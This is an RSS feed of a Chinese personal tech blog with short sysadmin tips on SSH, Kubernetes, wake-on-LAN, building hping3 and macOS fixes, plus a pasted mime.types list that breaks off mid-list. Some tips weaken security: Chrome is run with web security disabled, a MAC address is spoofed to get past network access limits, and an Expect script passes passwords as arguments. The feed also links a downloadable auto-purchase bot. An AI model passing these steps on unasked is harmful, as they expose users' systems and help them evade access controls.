<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[左耳的博客]]></title> 
<description><![CDATA[]]></description>
<link>https://www.zuoer.xin/</link>
<language>zh-cn</language>
<generator>www.emlog.net</generator>
<item>
	<title>NewBee科技 / NewBee合成科技、NewBee抢购科技、NewBee上架科技、NewBee突袭科技、NewBee公告锁科技、</title>
	<link>https://www.zuoer.xin/?post=122</link>
	<description><![CDATA[<p>
	NewBee科技 / NewBee合成科技、NewBee抢购科技、NewBee上架科技、NewBee突袭科技、NewBee公告锁科技
</p>
<p>
	<br />
</p>
<p>
	<span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">变更 抢购2.1.1 &gt; 2.1.2 增加自动支付藏品最大数量限制&nbsp;</span>
</p>
<p>
	<span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">密码登录最新版2.0.0&nbsp;</span>
</p>
<p>
	<span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">抢购最新版2.1.2&nbsp;</span>
</p>
<p>
	<span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">合成最新版2.1.7&nbsp;</span>
</p>
<p>
	<span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">突袭最新版2.1.0&nbsp;</span>
</p>
<p>
	<span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">上</span><span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">架最新版2.1.2&nbsp;</span>
</p>
<p>
	<span style="font-family:&quot;font-size:14px;caret-color:#000000;white-space:pre-line;background-color:rgba(0, 0, 0, 0.04);">公告锁新版2.1.3</span>
</p>
<p>
</p>
<p>
	软件下载地址：<a href="http://home.zuoer.xin:8000/NewBee.zip" target="_blank">http://home.zuoer.xin:8000/NewBee.zip</a>
</p>
<p>
	qq交流群：<span style="color:rgba(0, 0, 0, 0.5);font-family:&quot;text-wrap:wrap;background-color:#FFFFFF;">700092902</span>
</p>]]></description>
	<pubDate>Sat, 30 Mar 2024 10:59:44 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=122</guid>

</item>
<item>
	<title>linux下ssh免密认证登录失败原因</title>
	<link>https://www.zuoer.xin/?post=121</link>
	<description><![CDATA[1. 检查~/.ssh目录的权限是否为700<br />
2. 检查~/.ssh/authorized_keys文件的权限是否为600<br />
3. 检查~/.ssh/authorized_keys文件中的公钥是否正确<br />
4. 检查/etc/ssh/sshd_config 中的 AuthorizedKeysFile .ssh/authorized_keys 文件名是否正确<br />
5. 检查/root目录的权限 root目录权限为550<br />]]></description>
	<pubDate>Tue, 15 Feb 2022 02:42:31 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=121</guid>

</item>
<item>
	<title>chrome 禁用cors限制</title>
	<link>https://www.zuoer.xin/?post=119</link>
	<description><![CDATA[Linux:<br />
google-chrome --disable-web-security<br />
<br />
<br />
Windows:<br />
<br />
1) Right click on desktop, add new shortcut<br />
2) Add the target as "[PATH_TO_CHROME]\chrome.exe" --disable-web-security --disable-gpu --user-data-dir=~/chromeTemp<br />
ex on Windows 10 :<br />
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --disable-web-security --disable-gpu --user-data-dir=~/chromeTemp<br />
3) Click OK.<br />
<br />
<br />
OSX:<br />
open -n -a /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --args --user-data-dir="/tmp/chrome_dev_test" --disable-web-security<br />]]></description>
	<pubDate>Wed, 17 Nov 2021 07:57:10 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=119</guid>

</item>
<item>
	<title>k8s</title>
	<link>https://www.zuoer.xin/?post=118</link>
	<description><![CDATA[<p>
	k8s
</p>
<p>
<pre class="prettyprint lang-bsh linenums">for ns in `kubectl get ns | awk 'NR&gt;=2{print $1}'` ; do kubectl -n $ns get pod |grep -v -E "Running|Completed" | awk 'NR&gt;=2{print $1}' | xargs kubectl -n $ns delete pod --force --grace-period=0 ;done </pre>
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Sat, 24 Oct 2020 03:48:10 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=118</guid>

</item>
<item>
	<title>远程唤醒</title>
	<link>https://www.zuoer.xin/?post=117</link>
	<description><![CDATA[<p>
	python远程唤醒
</p>
<p>
<pre class="prettyprint lang-py linenums">#!/usr/bin/python
from socket import socket, AF_INET, SOCK_DGRAM, SOL_SOCKET, SO_BROADCAST
data = b'\xFF\xFF\xFF\xFF\xFF\xFF' + b'\xaa\xbb\xcc\xdd\xee\xff' * 16
#aabbccddeeff为mac地址
sock = socket(AF_INET, SOCK_DGRAM)
sock.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
sock.sendto(data, ('ip地址或者域名', 22))
sock.close()

</pre>
</p>]]></description>
	<pubDate>Tue, 15 Sep 2020 00:35:22 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=117</guid>

</item>
<item>
	<title>mac hping3报Sorry, this hping binary was compiled without TCL scripting support</title>
	<link>https://www.zuoer.xin/?post=116</link>
	<description><![CDATA[<pre class="prettyprint lang-js linenums">hping3                                      
Sorry, this hping binary was compiled without TCL scripting support</pre>
<p>
	解决：
</p>
<p>
	brew uninstall hping<br />
brew install tcl-tk<br />
brew install libpcap<br />
echo 'export PATH="/usr/local/opt/tcl-tk/bin:$PATH"' &gt;&gt; ~/.bash_profile<br />
export LDFLAGS="-L/usr/local/opt/tcl-tk/lib"<br />
export CPPFLAGS="-I/usr/local/opt/tcl-tk/include"<br />
export PKG_CONFIG_PATH="/usr/local/opt/tcl-tk/lib/pkgconfig"<br />
<br />
cd ~<br />
mkdir hping<br />
cd hping<br />
git clone https://github.com/antirez/hping.git<br />
vim configure<br />
<br />
1.Line 64, add "/usr/local/opt/tcl-tk/bin/" to the end so the script can find the right tcl binary<br />
<br />
2.Line 66, add "8.6" to the end so the script can get the version of tcl-tk brew downloaded (check in /usr/local/opt/tcl-tk/bin for a file starting with tclsh8.? to get the correct version number.)<br />
<br />
3.Line 84, replace the line with the following, so it can get the right include location<br />
&nbsp; if [ -e /usr/local/opt/tcl-tk/lib/tcl${TCL_VER} ]<br />
&nbsp; then<br />
&nbsp; &nbsp; &nbsp; TCL_INC="-I/usr/local/opt/tcl-tk/lib/tcl${TCL_VER}"<br />
&nbsp; elif [ -e /usr/include/tcl${TCL_VER} ]<br />
<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202008/ac3a1598244406.jpg" id="ematt:205"><img src="https://www.zuoer.xin/content/uploadfile/202008/thum-ac3a1598244406.jpg" title="点击查看原图" alt="Xnip2020-08-24_12-46-19.jpg" border="0" width="420" height="406" /></a><br />
./configure<br />
make<br />
sudo make install
</p>
<p>
	如果遇到：
	<h2 style="margin:0px;padding:0px;list-style:none;font-family:&quot;font-size:18px;height:auto;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
		mac Read-only file system
	</h2>
	<p>
		解决：<a href="https://www.zuoer.xin/?post=115">https://www.zuoer.xin/?post=115</a>
	</p>
</p>
<p>
	hping
</p>]]></description>
	<pubDate>Mon, 24 Aug 2020 03:24:26 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=116</guid>

</item>
<item>
	<title>mac Read-only file system</title>
	<link>https://www.zuoer.xin/?post=115</link>
	<description><![CDATA[<p>
	遇到
</p>
<p>
	cp -f hping3 /usr/sbin/<br />
cp: /usr/sbin/hping3: Read-only file system<br />
make: *** [install] Error 1<br />
</p>
<pre class="prettyprint lang-js linenums">sudo mount -uw /</pre>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Mon, 24 Aug 2020 03:02:13 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=115</guid>

</item>
<item>
	<title>excel for mac 中如何 替换多余的回车或换行符</title>
	<link>https://www.zuoer.xin/?post=114</link>
	<description><![CDATA[<pre class="prettyprint lang-js linenums">公式 =CLEAN(A1)

或者 =CLEAN(K7:K11)</pre>]]></description>
	<pubDate>Fri, 21 Aug 2020 04:13:29 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=114</guid>

</item>
<item>
	<title>mac os 修改 mac地址</title>
	<link>https://www.zuoer.xin/?post=113</link>
	<description><![CDATA[<pre class="prettyprint lang-bsh linenums">当某个环境下，只能指定网卡上网时，这个方法你就爽歪歪了

networksetup -listallhardwareports 查看当前所有端口Mac地址

sudo ifconfig en1 ether e4:ce:8f:32:51:82 修改
en1是WiFi标记 e4:ce:8f:32:51:82 是目标Mac地址

ifconfig en1 | grep ether 查看是否修改成功

电脑重启mac地址复原</pre>
如果usb网卡遇到改不了情况，需要安装驱动，我的驱动是RTL8153 <a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202008/35541597824951.zip">RTUNICv1.0.21_Update3.zip</a>]]></description>
	<pubDate>Wed, 19 Aug 2020 03:50:42 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=113</guid>

</item>
<item>
	<title>mac sshd重启</title>
	<link>https://www.zuoer.xin/?post=112</link>
	<description><![CDATA[<pre class="prettyprint lang-bsh linenums">sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist 
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist</pre>]]></description>
	<pubDate>Tue, 18 Aug 2020 09:26:45 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=112</guid>

</item>
<item>
	<title>iTerm2快速连接</title>
	<link>https://www.zuoer.xin/?post=111</link>
	<description><![CDATA[<p>
	vim&nbsp;&nbsp;~/login.exp
</p>
<p>
	<br />
</p>
<p>
<pre class="prettyprint lang-bsh linenums">#!/usr/bin/expect

if {$argc &lt; 2} {
    #do something
    send_user "usage: $argv0 &lt; &lt;remote_host&gt; &lt;passwd&gt;"
    exit
}

set timeout 3
set remote_host [lindex $argv 0]
set passwd [lindex $argv 1]

# 远程登录

spawn ssh kylin@${remote_host}

#yes/no

expect "*yes/no*"  {send "yes\r"}

#输入密码

expect "*assword:" {send "${passwd}\r"}

#切换root

expect "*$*" {send "sudo -i\r"}

#输入密码

expect "*assword for kylin:" {send "${passwd}\r"}

expect "*root@*" {send "clear\r"}

expect "*root@*" {send "cd /home/kylin\r"}

expect "*/home/kylin#" {send "kubectl get ns\r"}

expect "*/home/kylin#" {send "ls\r"}

interact

#expect eof</pre>
	<p>
		依次打开 iTerm-Profiles-Open&nbsp;<span style="white-space:normal;">Profiles-Edit&nbsp;<span style="white-space:normal;">Profiles- +</span></span>
	</p>
	<p>
		<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202008/01141597721433.jpg" id="ematt:198"><img src="https://www.zuoer.xin/content/uploadfile/202008/01141597721433.jpg" title="点击查看原图" alt="Xnip2020-08-18_11-30-00.jpg" border="0" width="1228" height="1186" /></a>
	</p>
</p>]]></description>
	<pubDate>Tue, 18 Aug 2020 03:26:02 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=111</guid>

</item>
<item>
	<title>解决vnc连接不上</title>
	<link>https://www.zuoer.xin/?post=110</link>
	<description><![CDATA[<p class="p1" style="margin-top:0px;margin-bottom:0px;font-variant-numeric:normal;font-variant-east-asian:normal;font-stretch:normal;line-height:normal;font-family:&quot;white-space:normal;">
	<span class="s1" style="font-variant-numeric:normal;font-variant-east-asian:normal;font-stretch:normal;line-height:normal;font-family:&quot;">解决方法</span>&nbsp;重启会话
</p>
<p class="p1" style="margin-top:0px;margin-bottom:0px;font-variant-numeric:normal;font-variant-east-asian:normal;font-stretch:normal;line-height:normal;font-family:&quot;white-space:normal;">
	vncserver -cleanstale<span class="Apple-converted-space">&nbsp;</span>
</p>
<p class="p1" style="margin-top:0px;margin-bottom:0px;font-variant-numeric:normal;font-variant-east-asian:normal;font-stretch:normal;line-height:normal;font-family:&quot;white-space:normal;">
	<br />
</p>]]></description>
	<pubDate>Wed, 22 Jul 2020 03:54:48 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=110</guid>

</item>
<item>
	<title>解决目录权限为？？？所属用户及组也是？？</title>
	<link>https://www.zuoer.xin/?post=109</link>
	<description><![CDATA[<p>
	网上方法不好使
</p>
<p>
	<br />
</p>
<p>
	解决办法：重启
</p>]]></description>
	<pubDate>Wed, 22 Jul 2020 03:53:04 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=109</guid>

</item>
<item>
	<title>安装Roundcube 提示 Mimetype to file extension mapping:  NOT OK</title>
	<link>https://www.zuoer.xin/?post=108</link>
	<description><![CDATA[<p>
	在/config/config.inc.php中加入
</p>
<p>
	$config['mime_types'] = '/web目录/config/mime.types';
</p>
<p>
	<br />
</p>
<p>
	vim&nbsp;<span style="white-space:normal;">mime.types (也可 wget&nbsp;<a href="http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types">http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types</a>)</span> 
</p>
<p>
	<span style="white-space:normal;"> </span>
</p>
<p>
	# This file maps Internet media types to unique file extension(s).
</p>
<p>
	# Although created for httpd, this file is used by many software systems
</p>
<p>
	# and has been placed in the public domain for unlimited redisribution.
</p>
<p>
	#
</p>
<p>
	# The table below contains both registered and (common) unregistered types.
</p>
<p>
	# A type that has no unique extension can be ignored -- they are listed
</p>
<p>
	# here to guide configurations toward known types and to make it easier to
</p>
<p>
	# identify "new" types. &nbsp;File extensions are also commonly used to indicate
</p>
<p>
	# content languages and encodings, so choose them carefully.
</p>
<p>
	#
</p>
<p>
	# Internet media types should be registered as described in RFC 4288.
</p>
<p>
	# The registry is at &lt;http://www.iana.org/assignments/media-types/&gt;.
</p>
<p>
	#
</p>
<p>
	# MIME type (lowercased)			Extensions
</p>
<p>
	# ============================================	==========
</p>
<p>
	# application/1d-interleaved-parityfec
</p>
<p>
	# application/3gpdash-qoe-report+xml
</p>
<p>
	# application/3gpp-ims+xml
</p>
<p>
	# application/a2l
</p>
<p>
	# application/activemessage
</p>
<p>
	# application/alto-costmap+json
</p>
<p>
	# application/alto-costmapfilter+json
</p>
<p>
	# application/alto-directory+json
</p>
<p>
	# application/alto-endpointcost+json
</p>
<p>
	# application/alto-endpointcostparams+json
</p>
<p>
	# application/alto-endpointprop+json
</p>
<p>
	# application/alto-endpointpropparams+json
</p>
<p>
	# application/alto-error+json
</p>
<p>
	# application/alto-networkmap+json
</p>
<p>
	# application/alto-networkmapfilter+json
</p>
<p>
	# application/aml
</p>
<p>
	application/andrew-inset			ez
</p>
<p>
	# application/applefile
</p>
<p>
	application/applixware				aw
</p>
<p>
	# application/atf
</p>
<p>
	# application/atfx
</p>
<p>
	application/atom+xml				atom
</p>
<p>
	application/atomcat+xml				atomcat
</p>
<p>
	# application/atomdeleted+xml
</p>
<p>
	# application/atomicmail
</p>
<p>
	application/atomsvc+xml				atomsvc
</p>
<p>
	# application/atxml
</p>
<p>
	# application/auth-policy+xml
</p>
<p>
	# application/bacnet-xdd+zip
</p>
<p>
	# application/batch-smtp
</p>
<p>
	# application/beep+xml
</p>
<p>
	# application/calendar+json
</p>
<p>
	# application/calendar+xml
</p>
<p>
	# application/call-completion
</p>
<p>
	# application/cals-1840
</p>
<p>
	# application/cbor
</p>
<p>
	# application/ccmp+xml
</p>
<p>
	application/ccxml+xml				ccxml
</p>
<p>
	# application/cdfx+xml
</p>
<p>
	application/cdmi-capability			cdmia
</p>
<p>
	application/cdmi-container			cdmic
</p>
<p>
	application/cdmi-domain				cdmid
</p>
<p>
	application/cdmi-object				cdmio
</p>
<p>
	application/cdmi-queue				cdmiq
</p>
<p>
	# application/cdni
</p>
<p>
	# application/cea
</p>
<p>
	# application/cea-2018+xml
</p>
<p>
	# application/cellml+xml
</p>
<p>
	# application/cfw
</p>
<p>
	# application/cms
</p>
<p>
	# application/cnrp+xml
</p>
<p>
	# application/coap-group+json
</p>
<p>
	# application/commonground
</p>
<p>
	# application/conference-info+xml
</p>
<p>
	# application/cpl+xml
</p>
<p>
	# application/csrattrs
</p>
<p>
	# application/csta+xml
</p>
<p>
	# application/cstadata+xml
</p>
<p>
	# application/csvm+json
</p>
<p>
	application/cu-seeme				cu
</p>
<p>
	# application/cybercash
</p>
<p>
	# application/dash+xml
</p>
<p>
	# application/dashdelta
</p>
<p>
	application/davmount+xml			davmount
</p>
<p>
	# application/dca-rft
</p>
<p>
	# application/dcd
</p>
<p>
	# application/dec-dx
</p>
<p>
	# application/dialog-info+xml
</p>
<p>
	# application/dicom
</p>
<p>
	# application/dii
</p>
<p>
	# application/dit
</p>
<p>
	# application/dns
</p>
<p>
	application/docbook+xml				dbk
</p>
<p>
	# application/dskpp+xml
</p>
<p>
	application/dssc+der				dssc
</p>
<p>
	application/dssc+xml				xdssc
</p>
<p>
	# application/dvcs
</p>
<p>
	application/ecmascript				ecma
</p>
<p>
	# application/edi-consent
</p>
<p>
	# application/edi-x12
</p>
<p>
	# application/edifact
</p>
<p>
	# application/efi
</p>
<p>
	# application/emergencycalldata.comment+xml
</p>
<p>
	# application/emergencycalldata.deviceinfo+xml
</p>
<p>
	# application/emergencycalldata.providerinfo+xml
</p>
<p>
	# application/emergencycalldata.serviceinfo+xml
</p>
<p>
	# application/emergencycalldata.subscriberinfo+xml
</p>
<p>
	application/emma+xml				emma
</p>
<p>
	# application/emotionml+xml
</p>
<p>
	# application/encaprtp
</p>
<p>
	# application/epp+xml
</p>
<p>
	application/epub+zip				epub
</p>
<p>
	# application/eshop
</p>
<p>
	# application/example
</p>
<p>
	application/exi					exi
</p>
<p>
	# application/fastinfoset
</p>
<p>
	# application/fastsoap
</p>
<p>
	# application/fdt+xml
</p>
<p>
	# application/fits
</p>
<p>
	application/font-tdpfr				pfr
</p>
<p>
	# application/framework-attributes+xml
</p>
<p>
	# application/geo+json
</p>
<p>
	application/gml+xml				gml
</p>
<p>
	application/gpx+xml				gpx
</p>
<p>
	application/gxf					gxf
</p>
<p>
	# application/gzip
</p>
<p>
	# application/h224
</p>
<p>
	# application/held+xml
</p>
<p>
	# application/http
</p>
<p>
	application/hyperstudio				stk
</p>
<p>
	# application/ibe-key-request+xml
</p>
<p>
	# application/ibe-pkg-reply+xml
</p>
<p>
	# application/ibe-pp-data
</p>
<p>
	# application/iges
</p>
<p>
	# application/im-iscomposing+xml
</p>
<p>
	# application/index
</p>
<p>
	# application/index.cmd
</p>
<p>
	# application/index.obj
</p>
<p>
	# application/index.response
</p>
<p>
	# application/index.vnd
</p>
<p>
	application/inkml+xml				ink inkml
</p>
<p>
	# application/iotp
</p>
<p>
	application/ipfix				ipfix
</p>
<p>
	# application/ipp
</p>
<p>
	# application/isup
</p>
<p>
	# application/its+xml
</p>
<p>
	application/java-archive			jar
</p>
<p>
	application/java-serialized-object		ser
</p>
<p>
	application/java-vm				class
</p>
<p>
	application/javascript				js
</p>
<p>
	# application/jose
</p>
<p>
	# application/jose+json
</p>
<p>
	# application/jrd+json
</p>
<p>
	application/json				json
</p>
<p>
	# application/json-patch+json
</p>
<p>
	# application/json-seq
</p>
<p>
	application/jsonml+json				jsonml
</p>
<p>
	# application/jwk+json
</p>
<p>
	# application/jwk-set+json
</p>
<p>
	# application/jwt
</p>
<p>
	# application/kpml-request+xml
</p>
<p>
	# application/kpml-response+xml
</p>
<p>
	# application/ld+json
</p>
<p>
	# application/lgr+xml
</p>
<p>
	# application/link-format
</p>
<p>
	# application/load-control+xml
</p>
<p>
	application/lost+xml				lostxml
</p>
<p>
	# application/lostsync+xml
</p>
<p>
	# application/lxf
</p>
<p>
	application/mac-binhex40			hqx
</p>
<p>
	application/mac-compactpro			cpt
</p>
<p>
	# application/macwriteii
</p>
<p>
	application/mads+xml				mads
</p>
<p>
	application/marc				mrc
</p>
<p>
	application/marcxml+xml				mrcx
</p>
<p>
	application/mathematica				ma nb mb
</p>
<p>
	application/mathml+xml				mathml
</p>
<p>
	# application/mathml-content+xml
</p>
<p>
	# application/mathml-presentation+xml
</p>
<p>
	# application/mbms-associated-procedure-description+xml
</p>
<p>
	# application/mbms-deregister+xml
</p>
<p>
	# application/mbms-envelope+xml
</p>
<p>
	# application/mbms-msk+xml
</p>
<p>
	# application/mbms-msk-response+xml
</p>
<p>
	# application/mbms-protection-description+xml
</p>
<p>
	# application/mbms-reception-report+xml
</p>
<p>
	# application/mbms-register+xml
</p>
<p>
	# application/mbms-register-response+xml
</p>
<p>
	# application/mbms-schedule+xml
</p>
<p>
	# application/mbms-user-service-description+xml
</p>
<p>
	application/mbox				mbox
</p>
<p>
	# application/media-policy-dataset+xml
</p>
<p>
	# application/media_control+xml
</p>
<p>
	application/mediaservercontrol+xml		mscml
</p>
<p>
	# application/merge-patch+json
</p>
<p>
	application/metalink+xml			metalink
</p>
<p>
	application/metalink4+xml			meta4
</p>
<p>
	application/mets+xml				mets
</p>
<p>
	# application/mf4
</p>
<p>
	# application/mikey
</p>
<p>
	application/mods+xml				mods
</p>
<p>
	# application/moss-keys
</p>
<p>
	# application/moss-signature
</p>
<p>
	# application/mosskey-data
</p>
<p>
	# application/mosskey-request
</p>
<p>
	application/mp21				m21 mp21
</p>
<p>
	application/mp4					mp4s
</p>
<p>
	# application/mpeg4-generic
</p>
<p>
	# application/mpeg4-iod
</p>
<p>
	# application/mpeg4-iod-xmt
</p>
<p>
	# application/mrb-consumer+xml
</p>
<p>
	# application/mrb-publish+xml
</p>
<p>
	# application/msc-ivr+xml
</p>
<p>
	# application/msc-mixer+xml
</p>
<p>
	application/msword				doc dot
</p>
<p>
	application/mxf					mxf
</p>
<p>
	# application/nasdata
</p>
<p>
	# application/news-checkgroups
</p>
<p>
	# application/news-groupinfo
</p>
<p>
	# application/news-transmission
</p>
<p>
	# application/nlsml+xml
</p>
<p>
	# application/nss
</p>
<p>
	# application/ocsp-request
</p>
<p>
	# application/ocsp-response
</p>
<p>
	application/octet-stream	bin dms lrf mar so dist distz pkg bpk dump elc deploy
</p>
<p>
	application/oda					oda
</p>
<p>
	# application/odx
</p>
<p>
	application/oebps-package+xml			opf
</p>
<p>
	application/ogg					ogx
</p>
<p>
	application/omdoc+xml				omdoc
</p>
<p>
	application/onenote				onetoc onetoc2 onetmp onepkg
</p>
<p>
	application/oxps				oxps
</p>
<p>
	# application/p2p-overlay+xml
</p>
<p>
	# application/parityfec
</p>
<p>
	application/patch-ops-error+xml			xer
</p>
<p>
	application/pdf					pdf
</p>
<p>
	# application/pdx
</p>
<p>
	application/pgp-encrypted			pgp
</p>
<p>
	# application/pgp-keys
</p>
<p>
	application/pgp-signature			asc sig
</p>
<p>
	application/pics-rules				prf
</p>
<p>
	# application/pidf+xml
</p>
<p>
	# application/pidf-diff+xml
</p>
<p>
	application/pkcs10				p10
</p>
<p>
	# application/pkcs12
</p>
<p>
	application/pkcs7-mime				p7m p7c
</p>
<p>
	application/pkcs7-signature			p7s
</p>
<p>
	application/pkcs8				p8
</p>
<p>
	application/pkix-attr-cert			ac
</p>
<p>
	application/pkix-cert				cer
</p>
<p>
	application/pkix-crl				crl
</p>
<p>
	application/pkix-pkipath			pkipath
</p>
<p>
	application/pkixcmp				pki
</p>
<p>
	application/pls+xml				pls
</p>
<p>
	# application/poc-settings+xml
</p>
<p>
	application/postscript				ai eps ps
</p>
<p>
	# application/ppsp-tracker+json
</p>
<p>
	# application/problem+json
</p>
<p>
	# application/problem+xml
</p>
<p>
	# application/provenance+xml
</p>
<p>
	# application/prs.alvestrand.titrax-sheet
</p>
<p>
	application/prs.cww				cww
</p>
<p>
	# application/prs.hpub+zip
</p>
<p>
	# application/prs.nprend
</p>
<p>
	# application/prs.plucker
</p>
<p>
	# application/prs.rdf-xml-crypt
</p>
<p>
	# application/prs.xsf+xml
</p>
<p>
	application/pskc+xml				pskcxml
</p>
<p>
	# application/qsig
</p>
<p>
	# application/raptorfec
</p>
<p>
	# application/rdap+json
</p>
<p>
	application/rdf+xml				rdf
</p>
<p>
	application/reginfo+xml				rif
</p>
<p>
	application/relax-ng-compact-syntax		rnc
</p>
<p>
	# application/remote-printing
</p>
<p>
	# application/reputon+json
</p>
<p>
	application/resource-lists+xml			rl
</p>
<p>
	application/resource-lists-diff+xml		rld
</p>
<p>
	# application/rfc+xml
</p>
<p>
	# application/riscos
</p>
<p>
	# application/rlmi+xml
</p>
<p>
	application/rls-services+xml			rs
</p>
<p>
	application/rpki-ghostbusters			gbr
</p>
<p>
	application/rpki-manifest			mft
</p>
<p>
	application/rpki-roa				roa
</p>
<p>
	# application/rpki-updown
</p>
<p>
	application/rsd+xml				rsd
</p>
<p>
	application/rss+xml				rss
</p>
<p>
	application/rtf					rtf
</p>
<p>
	# application/rtploopback
</p>
<p>
	# application/rtx
</p>
<p>
	# application/samlassertion+xml
</p>
<p>
	# application/samlmetadata+xml
</p>
<p>
	application/sbml+xml				sbml
</p>
<p>
	# application/scaip+xml
</p>
<p>
	# application/scim+json
</p>
<p>
	application/scvp-cv-request			scq
</p>
<p>
	application/scvp-cv-response			scs
</p>
<p>
	application/scvp-vp-request			spq
</p>
<p>
	application/scvp-vp-response			spp
</p>
<p>
	application/sdp					sdp
</p>
<p>
	# application/sep+xml
</p>
<p>
	# application/sep-exi
</p>
<p>
	# application/session-info
</p>
<p>
	# application/set-payment
</p>
<p>
	application/set-payment-initiation		setpay
</p>
<p>
	# application/set-registration
</p>
<p>
	application/set-registration-initiation		setreg
</p>
<p>
	# application/sgml
</p>
<p>
	# application/sgml-open-catalog
</p>
<p>
	application/shf+xml				shf
</p>
<p>
	# application/sieve
</p>
<p>
	# application/simple-filter+xml
</p>
<p>
	# application/simple-message-summary
</p>
<p>
	# application/simplesymbolcontainer
</p>
<p>
	# application/slate
</p>
<p>
	# application/smil
</p>
<p>
	application/smil+xml				smi smil
</p>
<p>
	# application/smpte336m
</p>
<p>
	# application/soap+fastinfoset
</p>
<p>
	# application/soap+xml
</p>
<p>
	application/sparql-query			rq
</p>
<p>
	application/sparql-results+xml			srx
</p>
<p>
	# application/spirits-event+xml
</p>
<p>
	# application/sql
</p>
<p>
	application/srgs				gram
</p>
<p>
	application/srgs+xml				grxml
</p>
<p>
	application/sru+xml				sru
</p>
<p>
	application/ssdl+xml				ssdl
</p>
<p>
	application/ssml+xml				ssml
</p>
<p>
	# application/tamp-apex-update
</p>
<p>
	# application/tamp-apex-update-confirm
</p>
<p>
	# application/tamp-community-update
</p>
<p>
	# application/tamp-community-update-confirm
</p>
<p>
	# application/tamp-error
</p>
<p>
	# application/tamp-sequence-adjust
</p>
<p>
	# application/tamp-sequence-adjust-confirm
</p>
<p>
	# application/tamp-status-query
</p>
<p>
	# application/tamp-status-response
</p>
<p>
	# application/tamp-update
</p>
<p>
	# application/tamp-update-confirm
</p>
<p>
	application/tei+xml				tei teicorpus
</p>
<p>
	application/thraud+xml				tfi
</p>
<p>
	# application/timestamp-query
</p>
<p>
	# application/timestamp-reply
</p>
<p>
	application/timestamped-data			tsd
</p>
<p>
	# application/ttml+xml
</p>
<p>
	# application/tve-trigger
</p>
<p>
	# application/ulpfec
</p>
<p>
	# application/urc-grpsheet+xml
</p>
<p>
	# application/urc-ressheet+xml
</p>
<p>
	# application/urc-targetdesc+xml
</p>
<p>
	# application/urc-uisocketdesc+xml
</p>
<p>
	# application/vcard+json
</p>
<p>
	# application/vcard+xml
</p>
<p>
	# application/vemmi
</p>
<p>
	# application/vividence.scriptfile
</p>
<p>
	# application/vnd.3gpp-prose+xml
</p>
<p>
	# application/vnd.3gpp-prose-pc3ch+xml
</p>
<p>
	# application/vnd.3gpp.access-transfer-events+xml
</p>
<p>
	# application/vnd.3gpp.bsf+xml
</p>
<p>
	# application/vnd.3gpp.mid-call+xml
</p>
<p>
	application/vnd.3gpp.pic-bw-large		plb
</p>
<p>
	application/vnd.3gpp.pic-bw-small		psb
</p>
<p>
	application/vnd.3gpp.pic-bw-var			pvb
</p>
<p>
	# application/vnd.3gpp.sms
</p>
<p>
	# application/vnd.3gpp.sms+xml
</p>
<p>
	# application/vnd.3gpp.srvcc-ext+xml
</p>
<p>
	# application/vnd.3gpp.srvcc-info+xml
</p>
<p>
	# application/vnd.3gpp.state-and-event-info+xml
</p>
<p>
	# application/vnd.3gpp.ussd+xml
</p>
<p>
	# application/vnd.3gpp2.bcmcsinfo+xml
</p>
<p>
	# application/vnd.3gpp2.sms
</p>
<p>
	application/vnd.3gpp2.tcap			tcap
</p>
<p>
	# application/vnd.3lightssoftware.imagescal
</p>
<p>
	application/vnd.3m.post-it-notes		pwn
</p>
<p>
	application/vnd.accpac.simply.aso		aso
</p>
<p>
	application/vnd.accpac.simply.imp		imp
</p>
<p>
	application/vnd.acucobol			acu
</p>
<p>
	application/vnd.acucorp				atc acutc
</p>
<p>
	application/vnd.adobe.air-application-installer-package+zip	air
</p>
<p>
	# application/vnd.adobe.flash.movie
</p>
<p>
	application/vnd.adobe.formscentral.fcdt		fcdt
</p>
<p>
	application/vnd.adobe.fxp			fxp fxpl
</p>
<p>
	# application/vnd.adobe.partial-upload
</p>
<p>
	application/vnd.adobe.xdp+xml			xdp
</p>
<p>
	application/vnd.adobe.xfdf			xfdf
</p>
